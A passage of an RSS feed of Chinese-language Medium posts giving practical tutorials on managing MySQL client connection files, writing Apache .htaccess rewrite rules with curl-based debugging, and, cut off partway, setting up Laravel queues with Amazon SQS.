            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bg-bLDLUuAphCsRWjNo3sQ.jpeg" /></figure><p>筆者常需要頻繁進去不同台 MySQL 去執行 SQL 語句或 Select 資料，用 phpMyAdmin 切換實在太慢，光是等待 Request 就浪費很多時間，或匯入大量資料造成 504，漸漸習慣使用 MySQL client shell 方式進入，好處是就算電腦連線中斷，在 Client shell 中都會自動幫你重新連線，不用再輸入密碼一次，而且切換 Terminal tab 也方便。</p><p>這篇文章適合以下需求的讀者：</p><ul><li>習慣使用 Shell 且需要頻繁進入不同 MySQL 的使用者</li><li>CI/CD script 或 shell script 不想出現資料庫密碼</li></ul><p>※ 此文均以 MySQL 5.7 為主<br>※ 適用 Maria DB、MySQL 5.6</p><p>那就開始設定吧！</p><h3>第一步</h3><p>在任意的位置建立 [任意檔名].cnf 檔案，以下將使用 extra.cnf 當作範例，並存在 HOME 目錄當中。</p><p>看起來跟 my.cnf 很像對吧？這其實就是 my.cnf 的 Option File</p><p>(Ref: <a href="https://dev.mysql.com/doc/refman/5.7/en/option-files.html">https://dev.mysql.com/doc/refman/5.7/en/option-files.html</a>)</p><h3>第二步</h3><p>在 extra.cnf 中加上第一個連線 Config：</p><pre>[clientyour_name]              # alias 名稱，為 client+名稱<br>host=db_host                   # DB HOST<br>user=db_user_name              # USER NAME<br>password=user_pass             # PASSWORD<br>port=port_number               # Port</pre><pre>default-character-set=utf8mb4  # (選填)設定字集，譬如儲存 emoji 就會用到<br>connect-timeout=seconds        # (選填)設定 timeout<br>ssl-ca=xxx.pem                 # (選填)設定 encrypted connection 用<br>ssl-cert=xxx.pem               # (選填)設定 encrypted connection 用<br>ssl-key=xxx.pem                # (選填)設定 encrypted connection 用</pre><p>※更多的選項可以參考<a href="https://dev.mysql.com/doc/refman/5.7/en/mysql-options.html">官方頁面</a>的底部表格</p><p>一個簡單的範例如下：</p><pre>[clientdevelop]<br>host=127.0.0.1<br>user=dev<br>password=1234<br>default-character-set=utf8mb4</pre><p>※ 其實是可以指定 database 的，譬如： database=mydb ，但因為 mysqldump 不會使用 database 這個 key，加上筆者想要同時兼容 mysqldump指令使用，就不加上去囉～</p><h3>第三步</h3><p>接著就能在 MySQL client shell 指定連線 Config，以上面的簡單範例為例：</p><pre>$ mysql --defaults-extra-file=extra.cnf --defaults-group-suffix=develop -D mydb</pre><p>mysqldump使用方法：</p><pre>$ mysqldump --defaults-extra-file=extra.cnf --defaults-group-suffix=develop mydb</pre><p>如果連線後出現以下錯誤訊息：</p><pre>Warning: World-writable config file &#39;/home/user/extra.cnf&#39; is ignored<br>ERROR 2002 (HY000): Can&#39;t connect to local MySQL server through socket &#39;/run/mysqld/mysqld.sock&#39; (2)</pre><p>請將 cnf 檔案設置比較小的權限：</p><pre>$ chmod 600 extra.cnf</pre><p>如此一來，就不用每次都要輸入密碼或重寫 Host 啦～</p><h3>其他</h3><p>不過對於筆者而言，每次都要輸入 -defaults-extra-file 或 -defaults-group-suffix 還是有點費工，所以寫了工具產生 alias 的 shell script，如下：</p><pre>#!/bin/bash<br>alias mysql_develop=&#39;mysql --defaults-extra-file=extra.cnf --defaults-group-suffix=develop -Dmydb&#39;<br>alias mysqldp_develop=&#39;mysqldump --defaults-extra-file=extra.cnf --defaults-group-suffix=develop mydb&#39;</pre><p>接著在 Terminal 打開的時候，預設載入這段 script，筆者使用 bash 為例，在 ~/.bashrc 最後面加入：</p><pre>source custom.sh</pre><p>往後每次開 Terminal 就可以輸入 mysql_develop 就登入指定的資料庫了</p><p>希望有幫助到 MySQL 的鍵盤使用者，減輕手指勞動力，如果有任何問題與建議也非常歡迎讀者一起討論 : )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7bead9bebbc" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/setup-mysql-client-config-%E4%BD%BF%E7%94%A8%E8%A8%AD%E5%AE%9A%E6%AA%94%E7%AE%A1%E7%90%86%E5%A4%9A%E5%80%8B-mysql-%E9%80%A3%E7%B7%9A%E8%A8%AD%E5%AE%9A-f7bead9bebbc">Setup MySQL Client Config: 使用設定檔管理多個 MySQL 連線設定</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache Rewrite with Htaccess 理解與技巧]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/htaccess-with-rewrite-3dba066aff11?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dba066aff11</guid>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[rewrite-rule]]></category>
            <category><![CDATA[rewrite]]></category>
            <category><![CDATA[rewritecond]]></category>
            <category><![CDATA[htaccess]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Wed, 24 Oct 2018 20:33:30 GMT</pubDate>
            <atom:updated>2021-08-29T06:33:29.952Z</atom:updated>
            <content:encoded><![CDATA[<p>在搜尋 Apache 針對網址改寫、避免訪問敏感檔案時，都會看到RewriteRule、RewriteCond 等的 Directive，但因為有時候不理解其中特性或Rule 跟 Cond 的差異等，加上若不熟悉正規表達式，完全只想逃避這些 Rule 們呢哭哭，因此本文將介紹：</p><p><a href="https://medium.com/@awonwon/3dba066aff11#ae20">一、開啟 Rewrite 功能</a><br><a href="https://medium.com/@awonwon/3dba066aff11#f369">二、RewriteRule</a><br><a href="https://medium.com/@awonwon/3dba066aff11#99fd">三、RewriteCond</a><br><a href="https://medium.com/@awonwon/3dba066aff11#4d8e">四、如何除錯</a><br><a href="https://medium.com/@awonwon/3dba066aff11#1d55">五、一些小特性</a><br><a href="https://medium.com/@awonwon/3dba066aff11#b806">六、使用 Htaccess 的缺點</a></p><p>※ 本文內容會盡量減少複雜的正規表達式，但若讀者對正規表達式一概不通的話，還是要先惡補一些些囉！<br>（或是你願意等待筆者撰寫下一篇關於正規表達式的文章 :P）</p><h3>一、開啟 Rewrite 功能</h3><p>輸入以下指令開啟 Rewrite模組（筆者使用 Ubuntu 系統）</p><pre>$ sudo a2enmod rewrite<br>=&gt; LoadModule rewrite_module modules/mod_rewrite.so</pre><p>確認是否已經開啟模組了</p><pre>$ sudo apache2ctl -M | grep rewrite</pre><pre>rewrite_module (shared)</pre><p>接著就可以開始在 Site Config 裡面撰寫所需的 RewriteRule 了。</p><p>在理解 Rewrite 的過程中，常常會出現與之搭配的 .htaccess 檔案，.htaccess稱作「Hypertext Access」，以一個資料夾為單位改變 Apache 設定的檔案 （Override Config），簡單來說就是可以根據每個資料夾 Override 原本 Site Config ，可以針對一個資料夾改寫網址，所以 RewriteRule 並非就只能寫在 .htaccess 當中哦！</p><p>但本篇文章還是會以使用 .htaccess 作為範例，若要打開 Override 的功能，只要修改 Site Config ，加入 AllowOverride All就可以了（例如 /etc/apache2/site-enabled/default000-conf）</p><pre>&lt;Directory &quot;/var/www/html&quot;&gt;<br> AllowOverride All<br>&lt;/Directory&gt;</pre><p>All、FlieInfo 都可以讓 .htaccess使用 Rewrite 功能，詳情可以參考<a href="https://httpd.apache.org/docs/2.4/mod/core.html#allowoverride">官方設定值</a>的意義。</p><h3>二、Rewrite Rule</h3><h4>基本用法</h4><p>就是改寫網址條件的規則，它的寫法結構如下：</p><pre>RewriteRule [match_uri] [rewrite_uri] [flags]</pre><ul><li>match_uri：符合 Pattern 的 URI</li><li>rewrite_uri：將被改寫的 URI</li></ul><p>這兩個也都可以使用正規表達式撰寫，一個 Rule 範例長這樣：</p><pre>RewriteRule ^match\.html$ rewrite.html [NC,L]</pre><p>意義等同於以下 Pseudo Code：</p><pre>假設輸入網址：<a href="http://domain.com/a/b/c.html">http://domain.com/a/b/c.html</a><br>uri = a/b/c.html</pre><pre>if (uri.match(“match.html”) {<br> url = “rewrite.html”<br>}</pre><h4>RewriteRule 的 Flag</h4><p>最後面的 flags代表設定 Rule 的行為，可用逗號代表多個 Flag，中間不能有空格，介紹以下常用的：</p><pre>[L]：Last，代表成功執行這個 Rule 後就會停止，不繼續往下執行。<br>[NC]：Non Case-sensitive，代表 match_uri 不比對大小寫差異。<br>[QSA]：Query String Append，代表保留網址尾端帶的 GET 參數，沒使用 flag 的預設是會把參數去掉的。<br>[QSD]：Query String Discard，與 QSA 相反的作用，apache v2.4 才有。<br>[R]: Redirect，代表用轉址的方式轉到新的網址，預設是 302 Status Code，如：[R=301]，也可以回傳 400、200、404 等的 Status Code，通常會跟 [L] 一起代表結束，也是除錯常用的 Flag<br>[DPI]: 不要再接續的 Rule 中結尾中加上 PathInfo，會在「五、一些小特性」的段落說明。<br>[F]: Forbdien 就是不給看啦！</pre><pre>※ more flags: <a href="http://httpd.apache.org/docs/2.4/rewrite/flags.html">http://httpd.apache.org/docs/2.4/rewrite/flags.html</a></pre><h4>範例</h4><p>接著來舉例多個 Rules 加上 Flag 的功用，假設網站資料夾結構如下：</p><pre>root/<br> ├ match.html<br> ├ rewrite.html<br> ├ .htaccess<br> └ secret/<br>    └ database_password.json</pre><p>而範例的 .htaccess 的內容為：</p><pre># 前面有井字號是註解</pre><pre>### 開啟 Rewrite<br>RewriteEngine On</pre><pre>### 設定 Rewrite 前面會加上的 path，預設會是 DocumentRoot (如：/var/www/html）<br>RewriteBase /</pre><pre># Rules 將會由上往下依序執行<br># 直到最後一行或遇到有符合且有 L flag 的 Rule 就會停止</pre><pre>### Rule 1. 輸入 domain.com/match.html 將會顯示 rewrite.html 的內容RewriteRule ^match\.html$ rewrite.html [NC,L]</pre><pre>### Rule 2. 輸入 domain.com/redirect.html 將會被導至 domain.com/rewrite.html<br>RewriteRule ^redirect\.html$ rewrite.html [NC,R=302,L]</pre><pre>### Rule 3. 如果輸入 domain.com/secret/… 這樣格式的網址，則去掉 secret/ 後，轉回 root 並加上 .html<br>### $1 是正規表達式的 group capture，就是 $1=(.*) 取得括號內的值<br>RewriteRule ^secret/(.*)$ $1.html [NC,L]</pre><p>在瀏覽器上輸入 match.html或 redirect.html均會顯示 rewrite.html的內容，明顯是 Rule 2 將網址改變了，而 Rule 1 沒有，因為就是 302 Status Code 的關係。</p><p>在此建議可以使用 POSTMAN或是 cURL命令列或 Request 擷取等工具觀察整個 Response的差異，將會非常容易除錯，詳細原因將在「四、如何除錯」段落中解釋，以下筆者使用 cURL示範：</p><p>1. Request：http://localhost/match.html</p><pre>$ curl &#39;<a href="http://localhost/match.html&#39;">http://localhost/match.html&#39;</a></pre><pre>I’m rewrite.html</pre><p>2. Request： <a href="http://localhost/redirect.html">http://localhost/redirect.html</a></p><pre>$ curl &#39;<a href="http://localhost/redirect.html&#39;">http://localhost/redirect.html&#39;</a></pre><pre>&lt;!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;302 Found&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Found&lt;/h1&gt;<br>&lt;p&gt;The document has moved &lt;a href=”<a href="http://localhost/rewrite.html">http://localhost/rewrite.html</a>&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.33 (Win32) OpenSSL/1.1.0h PHP/7.2.7 Server at localhost Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>與瀏覽器不同的是，這裡的 Response 會指出網址被轉移至另外一個新網址 http://localhost/rewrite.html，瀏覽器自動幫忙處理轉址的工作，根據上面回傳的網址，再發出另一個 Request 取得網頁內容，讓使用者僅感覺到網址與頁面改變而已。</p><p>這時候讀者可試著把 RewriteBase這行註解，將會發現回傳結果出錯了，<br>Rewrite 結果與 Domain 之間被加上 DocumentRoot預設的路徑。</p><pre>$ curl &#39;<a href="http://localhost/redirect.html&#39;">http://localhost/redirect.html&#39;</a></pre><pre>&lt;!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;302 Found&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Found&lt;/h1&gt;<br>&lt;p&gt;The document has moved &lt;a href=”<a href="http://localhost/var/www/html/rewrite.html">http://localhost/var/www/html/rewrite.html</a>&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.33 (Win32) OpenSSL/1.1.0h PHP/7.2.7 Server at localhost Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;<br>```</pre><p>前面兩個 Rule 僅是一個基本的示範，平常應用當然會難上許多，來繼續看第三個 Rule 吧</p><pre>### Rule 3. 如果輸入 domain.com/secret/… 這樣格式的網址，則去掉 secret/ 後，轉回 root 並加上 .html<br>### $1 是正規表達式的 group capture，就是取得那個滿足括號內的值<br>RewriteRule ^secret/(.*)$ $1.html [NC,L]</pre><p>第三個 Rule 是禁止使用者訪問敏感的 secret資料夾，來試著訪問 database_password.json看能不能得到結果：</p><pre>$ curl &#39;<a href="http://localhost/secret/database_password.json&#39;">http://localhost/secret/database_password.json&#39;</a></pre><pre>HTTP/1.1 404 Not Found<br>Date: Sun, 07 Oct 2018 13:39:11 GMT<br>Server: Apache/2.4.33 (Win32) OpenSSL/1.1.0h PHP/7.2.7<br>Vary: accept-language,accept-charset<br>Accept-Ranges: bytes<br>Content-Type: text/html; charset=utf-8<br>Content-Language: en</pre><p>不管網址改成任何 http://localhost/secret/...，都會回傳 404找不到頁面，是理想中的狀況，非常棒！但是訪問 http://localhost/secret/反而變成 403禁止訪問了耶，咦？</p><pre>$ curl &#39;<a href="http://localhost/secret/&#39;">http://localhost/secret/&#39;</a></pre><pre>HTTP/1.1 403 Forbidden<br>Date: Sun, 07 Oct 2018 13:43:08 GMT<br>Server: Apache/2.4.33 (Win32) OpenSSL/1.1.0h PHP/7.2.7<br>Vary: accept-language,accept-charset<br>Accept-Ranges: bytes<br>Content-Type: text/html; charset=utf-8<br>Content-Language: en</pre><p>這時候不知出了甚麼錯的話，可以將 Rule 的 Flag 加上 R=302，檢查最後改寫的結果出了甚麼狀況：</p><pre>$ curl &#39;<a href="http://localhost/secret/&#39;">http://localhost/secret/&#39;</a></pre><pre>&lt;!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”&gt;<br>&lt;html&gt;&lt;head&gt;<br>&lt;title&gt;302 Found&lt;/title&gt;<br>&lt;/head&gt;&lt;body&gt;<br>&lt;h1&gt;Found&lt;/h1&gt;<br>&lt;p&gt;The document has moved &lt;a href=”<a href="http://localhost/.html">http://localhost/.html</a>&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;<br>&lt;hr&gt;<br>&lt;address&gt;Apache/2.4.33 (Win32) OpenSSL/1.1.0h PHP/7.2.7 Server at localhost Port 80&lt;/address&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>發現 $1沒有抓到任何字串，所以沒有任何檔名加上 .html，就變成 403 的結果，所以只要在 Rule 3 之前加上以下新的 Rule 就可以囉！</p><pre>RewriteRule ^secret/$ / [R=302,NC,L]</pre><p>以上就是 RewriteRule 與簡單的 Debug 方法，只要再加上看得懂正規表達式就能懂一般常見的 Rules 囉！繼續看更難一點的 RewriteCond 吧～</p><h3>三、RewriteCond</h3><p>RewriteRule 僅僅只能判斷 Request URI 是否匹配而改寫 URI，但有很多需求是希望根據一些 Request Header（Host、User-agent) 與 Apache 的環境變數做改寫，先滿足某些條件後，再次 Rewrite URI，因此有了 RewriteCond 的出現，它的寫法結構如下：</p><pre>RewriteCond [test_string] [match_string] [flags]<br>RewriteRule …</pre><ul><li>test_string：要比對的條件</li><li>match_string：符合的條件</li></ul><p>以上這兩個都可以使用正規表達式撰寫，而且 RewriteCond 結束一定會接著一個 RewriteRule ，真正的範例會長這樣：</p><pre>RewriteCond %{HTTP_USER_AGENT} (facebookexternalhit)<br>RewriteRule ^blog/(.*)$ fb-bot.html?path=$1&amp;type=%1 [L]</pre><p>以上意義等同於以下 Pseudo Code：</p><pre>if ($HTTP_USER_AGENT == ‘facebookexternalhit’) {<br> if (url.match(‘^blog/(.*)$’)) {<br> url = ‘fb-bot.html?path=$1&amp;type=facebookexternalhit’;<br> }<br>}</pre><p>※ 前面說到 $1是 Group Capture 的用法，而 RewriteCond 則是用 %1表示</p><h4>RewriteCond 可使用的變數</h4><p>${HTTP_USER_AGENT}是 RewriteCond 可使用的變數，有以下常見的變數：</p><pre>%{REQUEST_URI}：Domain 後面完整的 URI Path，Rule 其實會拿到不完整的 URI，詳情可以參考「五、一些小特性」段落<br>%{QUERY_STRING}：後面 GET 帶的參數<br>%{HTTP_HOST}：Domain<br>%{HTTP_COOKIE}：Cookie<br>%{HTTPS}：判斷是否用 https 或 http，如果是 https 就等於「on」，否則為&quot;off&quot;<br>%{HTTP_USER_AGENT}：User Agent<br>%{REQUEST_FILENAME}：訪問的檔案名稱</pre><pre>※ more variables：<a href="https://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritecond">https://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritecond</a><br>※ 其實變數也可以放在 RewriteRule 的 rewrite url 當中</pre><p>以及判斷檔案時，很常見搭配這兩個 match 用法：</p><pre>-d：directory. 代表如果有這個資料夾<br>-f：regular file. 代表如果有這個檔案</pre><p>搭配起來寫法就像以下範例，代表著如果沒有這個檔案就轉到首頁：</p><pre>RewriteCond %{REQUEST_FILENAME} !-f<br>RewriteRule ^(.*)$ index.html</pre><p>其實還有不同的 match 寫法，可以參考<a href="https://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritecond"> Apache 官網的 RewriteCond </a>。</p><h4>RewriteCond 的 Flag 用法</h4><pre>NC：Non case-sensitive<br>OR：就是 OR 條件，下面會說明</pre><p>RewriteCond 也有 OR 跟 AND 的條件，先前提到 RewriteCond 後面一定會接一個 RewriteRule，有個特性是它只吃接續的第一個 rule ，來看下面的範例：</p><pre>### 範例 A<br>RewriteCond 1<br>RewriteRule 1<br>RewriteRule 2<br>// 等同於<br>if (Cond1) {<br> Rule1<br>}<br>Rule 2</pre><pre>### 範例 B<br>RewriteCond 1<br>RewriteCond 2<br>RewriteRule 1<br>// 等同於<br>if (Cond1 &amp;&amp; Cond2) {<br> Rule1<br>}</pre><pre>### 範例 C<br>RewriteCond 1 [OR]<br>RewriteCond 2<br>RewriteRule 1<br>// 等同於<br>if (Cond1 || Cond2) {<br> Rule1<br>}</pre><p>瞭解 RewriteCond 跟 RewriteRule 的用法與每一行執行下來的邏輯，就可以更輕易的改寫網路上別人寫好的規則囉～</p><h3>四、如何偵錯</h3><p>先前在 RewriteRule 的段落有稍微簡單展示 Debug 的流程，這裡僅使用文字講解一些小秘訣。</p><h4>1. 該使用甚麼 Debug 工具</h4><p>使用 POSTMAN、cURL 等的工具，瀏覽器除了有 Cache 外，也會幫忙轉址，此時就沒辦法觀察第一次轉址的網址內容，譬如：最常見就是瀏覽器直接顯示轉址太多次的錯誤，但使用工具的話，就可以看到 Response 回傳的轉址結果。</p><h4>2. 如何知道撰寫的 Regular Expression 是否正確？</h4><p>把 RewriteRule 的 Flag 加上 [R=302]，302 Status Code 代表 Moved Temporarily，瀏覽器並不會 Cache 302 的轉址結果，但 301 會，可以確定 Rule 無誤後再拿掉或改為原本 301 就好，像這樣觀察轉址的結果：</p><pre>RewriteRule ^(.*)$ =$1 [L,R=302]</pre><h4>3. 非得要修改正在運行中的網站怎麼辦？</h4><p>可以用一些識別的 Header，加上 RewriteCond 來測試撰寫的 RewriteRule，譬如自定義一個 User-agent，每次 Reuqest 都用這個 User-agent 即可。</p><h4>4. 瀏覽器有 Cache</h4><p>前面提到瀏覽器 cache 的問題，若認為寫的沒問題，但訪問網站仍是舊有結果的話，就開啟私密瀏覽訪問看看，最後仍沒辦法只好重開 Apache 看看囉。</p><h3>五、關於一些小特性</h3><h4>1. RewriteRule 在巢狀 .htaccess 當中不會取得完整 URI Path</h4><p>直接看範例，假設資料夾結構如下：</p><pre>root/<br> ├ a/<br>   ├ b.html<br>   └ .htaccess<br> ├ c.html<br> └ .htaccess</pre><pre>### 兩個 .htaccess 都只有這一行內容<br>RewriteRule ^(.*)$ $1 [L]</pre><p>1. Request： c.html</p><pre>使用 root/.htaccess<br>Rule 結果： c.html</pre><p>2. Request： a/b.html</p><pre>使用 root/a/.htaccess<br>Rule 結果： b.html</pre><p>沒錯，發生了不會拿到 a/ 的路徑的情況。<br>※ Apache 會自動選擇最接近的 .htaccess 檔案（詳情會在下一段落說明）</p><p>3. 如果拿掉 root/a/.htaccess檔案，重新 Request： a/b.html</p><pre>使用 root/.htaccess<br>Rule 結果：a/b.html</pre><p>這樣的結果又正常了，如果真的想確保拿到完整的 URI Path，可以使用 %{REQUEST_URL}變數來取得 URI 囉！</p><pre>RewriteCond %{REQUEST_URI} ^(.*)$<br>RewriteRule ^ %1 [L]</pre><h4>2. RewriteRule 自動附加在結尾的 PATH_INFO</h4><p>有時候會希望遇到 Rule1 改寫之後，再傳遞至下一個 Rule2 判斷與改寫，可是會遇到後面莫名多了先前的 URI，來看一個簡單的示範例子：</p><pre>RewriteRule ^(.*)$ web/$1 [NC]<br>RewriteRule ^(.*)$ sec======$1====== [NC,R=301]</pre><p>Request： a/b/c.html</p><pre>經過第一個 Rule 變成： web/a/b/c.html<br>最後到第二個 Rule 變成： sec======web/a/b/c.html/b/c.html======</pre><p>發現它在 Rule1 的結果末端多了一個不需要的 /b/c.html ，這是因為 PATH_INFO的緣故，若不需要後面 Path 的話，可以在 Rule 1 加上 DPI Flag 移除它，由於一些 php 的 CMS 或是 Framework 會使用到 PATH_INFO 的功能，所以是否關掉 PATH_INFO 的作用還是要注意一下囉！</p><h4>3. 重新尋找 .htaccess 檔案</h4><p>有時候要的 Rule 很純，就只是將所有 Request 都轉到 web/ 資料夾下：</p><pre>RewriteBase /<br>RewriteRule ^(.*)$ web/$1 [QSA,L]</pre><p>但在 Apache 2.4 後就會遇到出現 Redirect Loop 的錯誤，原因是第一次Request URI 被改寫後成 web/xxxx，它會根據新 URI 找對應最近的 .htaccess 並再重跑一次 RewriteRule</p><p>此時有兩種解法，第一種是在 web/ 資料夾下放一個空的 .htaccess ，第二種是可以參考下一點停止 Redirect Loop 的寫法，放在 RewriteRule 前面。</p><h4>4. 停止 Redirect Loop 的情況</h4><p>有時候會遇到無窮 Loop 的問題：</p><pre>Request exceeded the limit of 10 internal redirects due to probable configuration error. Use &#39;LimitInternalRecursion&#39; to increase the limit if necessary. Use &#39;LogLevel debug&#39; to get a backtrace.</pre><p>可以在所有 RewriteRule 之前加上判斷，若 Redirect Status 是 200 的話，就停止 Loop：</p><pre>RewriteCond %{ENV:REDIRECT_STATUS} 200<br>RewriteRule ^ - [L]</pre><p>不過建議還是檢查 RewriteRule 哪邊有寫錯的，畢竟這解不太算是萬靈藥。</p><p>Ref：<a href="https://stackoverflow.com/a/20930010">https://stackoverflow.com/a/20930010</a></p><h3>六、使用 Htaccess 的缺點</h3><p>使用 Override 很方便，只要將 .htaccess放到資料夾下面就有效果，但官方其實不推薦開啟 Override 的功能，它會降低效能，主要是有以下缺點：</p><h4>1. 每次 Request 的巢狀搜尋</h4><p>每一次 Request 都會使得 Apache 透過巢狀遞迴的方式搜尋 .htaccess檔案，導致 Apache 緩慢，譬如送出這個 Request：</p><ul><li>Request： /example/sub/index.html</li></ul><p>Apache 則會根據路徑尋找以下 .htaccess檔案</p><pre>/var/www/.htaccess<br>/var/www/example/.htaccess<br>/var/www/example/sub/.htaccess</pre><p>最後 Apache 選擇離檔案最近的 /var/www/example/sub/.htaccess</p><h4>2. 重複 Compile RewirteRule</h4><p>由於每次 Request 都會巢狀搜尋 .htaccess，所以再遇到 RewriteRule 都會重新 Compile 一次，不像 Site Config 只會 Compile 一次後做 cache，所以 RewriteRule 非常多的話，也會導致 apache 緩慢。</p><p>筆者使用 Apache Benchmark 做了一個小型的壓力測試，連續訪問 10000 次，同時 1000 個連線，取其三次執行 ab指令的平均值，分別比較是否有打開 Override 功能，和 Rewrite 數量多寡是否有影響，Rewrite 的狀況都是以跑到倒數第三行結束為主，且每行 RewriteRule 跟 RewriteCond 不重複。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNP0o-dbnu1BoVi-cameKw.png" /><figcaption>圖1. 針對 orverride 功能開關和 Rule 數量的壓力測試比較圖</figcaption></figure><p>如圖上的 Total 平均值，有開啟 Override 功能還是比沒開啟花的時間多了一些，而行數的多寡也會影響到花費的時間，但筆者還是有點疑惑，差0.1 秒好像也沒什麼關係吶，這邊還有請專業的讀者可以為筆者解惑呢 QQ</p><p>官方認為 .htaccess主要還是給無法編輯 Site Config 的情況下使用，像是一台主機上有多站共用，但真的想用 .htaccess效果又不想開啟 Override 的話怎麼辦呢？也是有一個取得中間值的做法。</p><h4>在 Site Config 中預先指定 .htaccess檔案路徑</h4><p>把 Override 功能關掉，並使用 Include 指定引入的 .htaccess ，如下寫法：</p><pre>DocumentRoot /var/www/<br>&lt;Directory /var/www/&gt;<br> AllowOverride None<br> Include /var/www/.htaccess<br> …<br>&lt;/Directory&gt;</pre><p>但這方法也是有個小缺點：每次更新 .htaccess都必須重新啟動 Apache 重新讀取設定。</p><p>如果主機流量不大的話，效能問題並沒這麼嚴重，最後還是得依據主機上的網站與情況，衡量哪種做法比較好哦！</p><p><strong>Reference</strong></p><ul><li>Apache.org — <a href="https://httpd.apache.org/docs/current/howto/htaccess.html#when">When (not) to use .htaccess files</a></li></ul><p>以上就是 Rewrite 的介紹，有甚麼疑問歡迎一起留言探討</p><p>感謝讀者閱讀這篇長文 :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dba066aff11" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/htaccess-with-rewrite-3dba066aff11">Apache Rewrite with Htaccess 理解與技巧</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Laravel 5.4 Queue With SQS]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/use-laravel-5-4-queue-f5c0053c6a78?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5c0053c6a78</guid>
            <category><![CDATA[queue]]></category>
            <category><![CDATA[amazon]]></category>
            <category><![CDATA[sqs]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[laravel-5]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Sun, 31 Dec 2017 18:45:00 GMT</pubDate>
            <atom:updated>2018-04-05T08:21:25.641Z</atom:updated>
            <content:encoded><![CDATA[<p>通常需要長時間的工作我們都會將他丟到背景非同步執行，像是第三方 API 的連線速度緩慢､發送 Email､複雜運算等等，讓使用者不用等待後端工作完成，就能順利繼續瀏覽網頁，本次筆者將介紹 Laravel Queue 搭配 Amazon SQS 的設定，本文介紹大綱如下：</p><ol><li>Laravel Queue 基本設定</li><li>Create、Dispatch、Handling Job</li><li>Amazon SQS 介紹</li><li>與 Laravel 5.5 的差異</li><li>後記 — Trace Code</li></ol><h3>一、Queue 初始化</h3><p>先簡略提要 queue 的大概架構，如下圖，自己的 server 會 push 一個 job 到 queue server，queue server 會儲存很多的 jobs ，接著 server 會定時的把 job pull 回來處理。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_p_76ZIo2LDURZHZSt9pA.png" /><figcaption>Figure 1. queue process</figcaption></figure><p>瞭解大概流程後，就來設定 config 連線資訊吧！</p><p>Laravel 在官方文件上提供幾種已經封裝好的 connection drivers：</p><ol><li>database</li><li>Redis</li><li>Amazon SQS</li><li>Amazon beanstalkd</li></ol><p>如果當下沒辦法使用 Redis 或 Amazon 服務，可以使用 database 方式，會將 job 暫存在 database 中，或測試環境可以選這種連線方式，但筆者在此將選用 SQS 做介紹，另外需要注意的是，在開發環境上讀者必須要有 console 可以下指令，才能開啟 Laravel 的 pull 功能。</p><p>一開始的設定在 config/queue.php 與 .env 中，修改以下設定：</p><ol><li>.env 的 QUEUE_DRIVER=sync 改成 sqs</li><li>config/queue.php</li></ol><p>將下面區塊改成 sqs 上的 queue name, url, key, secret 等等，SQS 的基本操作可以參考 <a href="https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-getting-started.html?shortFooter=true">Amazon 官方文件</a>，其他關於 SQS 的部分稍後再做講解。</p><pre>&#39;sqs&#39; =&gt; [<br>            &#39;driver&#39; =&gt; &#39;sqs&#39;,<br>            &#39;key&#39; =&gt; 